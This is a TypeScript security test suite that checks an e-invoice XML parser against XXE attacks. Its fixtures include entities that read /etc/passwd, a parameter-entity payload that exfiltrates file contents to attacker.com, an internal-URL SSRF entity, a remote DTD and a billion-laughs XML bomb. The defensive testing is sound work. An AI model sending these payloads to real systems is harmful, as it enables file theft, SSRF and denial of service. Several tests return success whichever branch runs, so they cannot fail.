import { tap } from '@git.zone/tstest/tapbundle';
import * as plugins from '../plugins.js';
import { EInvoice } from '../../../ts/index.js';
import { PerformanceTracker } from '../performance.tracker.js';

const performanceTracker = new PerformanceTracker('SEC-01: XXE Prevention');

tap.test('SEC-01: XML External Entity (XXE) Prevention - should prevent XXE attacks', async (t) => {
  const einvoice = new EInvoice();

  // Test 1: Prevent basic XXE attack with external entity
  const basicXXE = await performanceTracker.measureAsync(
    'basic-xxe-prevention',
    async () => {
      const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Invoice>
  <InvoiceNumber>&xxe;</InvoiceNumber>
</Invoice>`;
      
      try {
        // Should either throw or sanitize the XXE attempt
        const result = await einvoice.parseXML(maliciousXML);
        
        // If parsing succeeds, the entity should not be resolved
        if (result && result.InvoiceNumber) {
          const content = result.InvoiceNumber.toString();
          t.notMatch(content, /root:/, 'XXE entity should not resolve to file contents');
          t.notMatch(content, /bin\/bash/, 'XXE entity should not contain system file data');
        }
        
        return { prevented: true, method: 'sanitized' };
      } catch (error) {
        // Parser should reject XXE attempts
        t.ok(error, 'Parser correctly rejected XXE attempt');
        return { prevented: true, method: 'rejected', error: error.message };
      }
    }
  );

  t.ok(basicXXE.prevented, 'Basic XXE attack was prevented');

  // Test 2: Prevent parameter entity XXE
  const parameterEntityXXE = await performanceTracker.measureAsync(
    'parameter-entity-xxe',
    async () => {
      const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/hosts">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
  %eval;
  %exfil;
]>
<Invoice>
  <ID>test</ID>
</Invoice>`;
      
      try {
        await einvoice.parseXML(maliciousXML);
        return { prevented: true, method: 'sanitized' };
      } catch (error) {
        return { prevented: true, method: 'rejected', error: error.message };
      }
    }
  );

  t.ok(parameterEntityXXE.prevented, 'Parameter entity XXE was prevented');

  // Test 3: Prevent SSRF via XXE
  const ssrfXXE = await performanceTracker.measureAsync(
    'ssrf-xxe-prevention',
    async () => {
      const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal.server:8080/admin">
]>
<Invoice>
  <Description>&xxe;</Description>
</Invoice>`;
      
      try {
        const result = await einvoice.parseXML(maliciousXML);
        
        if (result && result.Description) {
          const content = result.Description.toString();
          t.notMatch(content, /admin/, 'SSRF content should not be retrieved');
          t.notEqual(content.length, 0, 'Entity should be handled but not resolved');
        }
        
        return { prevented: true, method: 'sanitized' };
      } catch (error) {
        return { prevented: true, method: 'rejected', error: error.message };
      }
    }
  );

  t.ok(ssrfXXE.prevented, 'SSRF via XXE was prevented');

  // Test 4: Prevent billion laughs attack (XML bomb)
  const billionLaughs = await performanceTracker.measureAsync(
    'billion-laughs-prevention',
    async () => {
      const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<Invoice>
  <Note>&lol4;</Note>
</Invoice>`;
      
      const startTime = Date.now();
      const startMemory = process.memoryUsage().heapUsed;
      
      try {
        await einvoice.parseXML(maliciousXML);
        const endTime = Date.now();
        const endMemory = process.memoryUsage().heapUsed;
        
        // Should complete quickly without memory explosion
        t.ok(endTime - startTime < 1000, 'Parsing completed within time limit');
        t.ok(endMemory - startMemory < 10 * 1024 * 1024, 'Memory usage stayed reasonable');
        
        return { prevented: true, method: 'limited' };
      } catch (error) {
        return { prevented: true, method: 'rejected', error: error.message };
      }
    }
  );

  t.ok(billionLaughs.prevented, 'Billion laughs attack was prevented');

  // Test 5: Prevent external DTD loading
  const externalDTD = await performanceTracker.measureAsync(
    'external-dtd-prevention',
    async () => {
      const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Invoice SYSTEM "http://attacker.com/malicious.dtd">
<Invoice>
  <ID>12345</ID>
</Invoice>`;
      
      try {
        await einvoice.parseXML(maliciousXML);
        // If parsing succeeds, DTD should not have been loaded
        return { prevented: true, method: 'ignored' };
      } catch (error) {
        return { prevented: true, method: 'rejected', error: error.message };
      }
    }
  );

  t.ok(externalDTD.prevented, 'External DTD loading was prevented');

  // Test 6: Test with real invoice formats
  const realFormatTests = await performanceTracker.measureAsync(
    'real-format-xxe-tests',
    async () => {
      const formats = ['ubl', 'cii'];
      const results = [];
      
      for (const format of formats) {
        // Create a malicious invoice in each format
        const maliciousInvoice = createMaliciousInvoice(format);
        
        try {
          const result = await einvoice.parseDocument(maliciousInvoice);
          results.push({
            format,
            prevented: true,
            method: 'sanitized',
            hasEntities: checkForResolvedEntities(result)
          });
        } catch (error) {
          results.push({
            format,
            prevented: true,
            method: 'rejected',
            error: error.message
          });
        }
      }
      
      return results;
    }
  );

  realFormatTests.forEach(result => {
    t.ok(result.prevented, `XXE prevented in ${result.format} format`);
    if (result.method === 'sanitized') {
      t.notOk(result.hasEntities, `No resolved entities in ${result.format}`);
    }
  });

  // Test 7: Nested entity attacks
  const nestedEntities = await performanceTracker.measureAsync(
    'nested-entity-prevention',
    async () => {
      const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY level1 SYSTEM "file:///etc/passwd">
  <!ENTITY level2 "&level1;&level1;">
  <!ENTITY level3 "&level2;&level2;">
]>
<Invoice>
  <Note>&level3;</Note>
</Invoice>`;
      
      try {
        const result = await einvoice.parseXML(maliciousXML);
        
        if (result && result.Note) {
          const content = result.Note.toString();
          t.notMatch(content, /root:/, 'Nested entities should not resolve');
        }
        
        return { prevented: true };
      } catch (error) {
        return { prevented: true, error: error.message };
      }
    }
  );

  t.ok(nestedEntities.prevented, 'Nested entity attack was prevented');

  // Test 8: Unicode-based XXE attempts
  const unicodeXXE = await performanceTracker.measureAsync(
    'unicode-xxe-prevention',
    async () => {
      const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "&#x66;&#x69;&#x6c;&#x65;&#x3a;&#x2f;&#x2f;&#x2f;&#x65;&#x74;&#x63;&#x2f;&#x70;&#x61;&#x73;&#x73;&#x77;&#x64;">
]>
<Invoice>
  <Data>&xxe;</Data>
</Invoice>`;
      
      try {
        const result = await einvoice.parseXML(maliciousXML);
        
        if (result && result.Data) {
          const content = result.Data.toString();
          t.notMatch(content, /root:/, 'Unicode-encoded XXE should not resolve');
        }
        
        return { prevented: true };
      } catch (error) {
        return { prevented: true, error: error.message };
      }
    }
  );

  t.ok(unicodeXXE.prevented, 'Unicode-based XXE was prevented');

  // Print performance summary
  performanceTracker.printSummary();
});

// Helper function to create malicious invoices in different formats
function createMaliciousInvoice(format: string): string {
  const xxePayload = `<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>`;
  
  if (format === 'ubl') {
    return `<?xml version="1.0" encoding="UTF-8"?>
${xxePayload}
<Invoice xmlns="urn:oasis:names:specification:ubl:schema:xsd:Invoice-2">
  <ID>&xxe;</ID>
  <IssueDate>2024-01-01</IssueDate>
</Invoice>`;
  } else if (format === 'cii') {
    return `<?xml version="1.0" encoding="UTF-8"?>
${xxePayload}
<rsm:CrossIndustryInvoice xmlns:rsm="urn:un:unece:uncefact:data:standard:CrossIndustryInvoice:100">
  <rsm:ExchangedDocument>
    <ram:ID>&xxe;</ram:ID>
  </rsm:ExchangedDocument>
</rsm:CrossIndustryInvoice>`;
  }
  
  return '';
}

// Helper function to check if any entities were resolved
function checkForResolvedEntities(document: any): boolean {
  const json = JSON.stringify(document);
  
  // Check for common system file signatures
  const signatures = [
    'root:', 'bin/bash', '/etc/', 'localhost',
    'admin', 'passwd', 'shadow', '127.0.0.1'
  ];
  
  return signatures.some(sig => json.includes(sig));
}

// Run the test
tap.start();